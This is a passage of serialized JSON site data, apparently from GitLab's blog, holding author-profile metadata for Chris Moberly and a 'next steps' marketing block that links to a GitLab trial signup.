Footer","shared/en-us/main-footer.yml","shared/en-us/main-footer",[693],{"_path":694,"_dir":695,"_draft":6,"_partial":6,"_locale":7,"content":696,"config":700,"_id":702,"_type":30,"title":19,"_source":32,"_file":703,"_stem":704,"_extension":35},"/en-us/blog/authors/chris-moberly","authors",{"name":19,"config":697},{"headshot":698,"ctfId":699},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664235/Blog/Author%20Headshots/cmoberly-headshot.jpg","cmoberly",{"template":701},"BlogAuthor","content:en-us:blog:authors:chris-moberly.yml","en-us/blog/authors/chris-moberly.yml","en-us/blog/authors/chris-moberly",{"_path":706,"_dir":38,"_draft":6,"_partial":6,"_locale":7,"header":707,"eyebrow":708,"blurb":709,"button":710,"secondaryButton":714,"_id":716,"_type":30,"title":717,"_source":32,"_file":718,"_stem":719,"_extension":35},"/shared/en-us/next-steps","Start shipping better software faster","50%+ of the Fortune 100 trust GitLab","See what your team can do with the intelligent\n\n\nDevSecOps platform.\n",{"text":46,"config":711},{"href":712,"dataGaName":49,"dataGaLocation":713},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/","feature",{"text":51,"config":715},{"href":53,"dataGaName":54,"dataGaLocation":713},"content:shared:en-us:next-steps.yml","Next Steps","shared/en-us/next-steps.yml","shared/en-us/next-steps",1758326261709]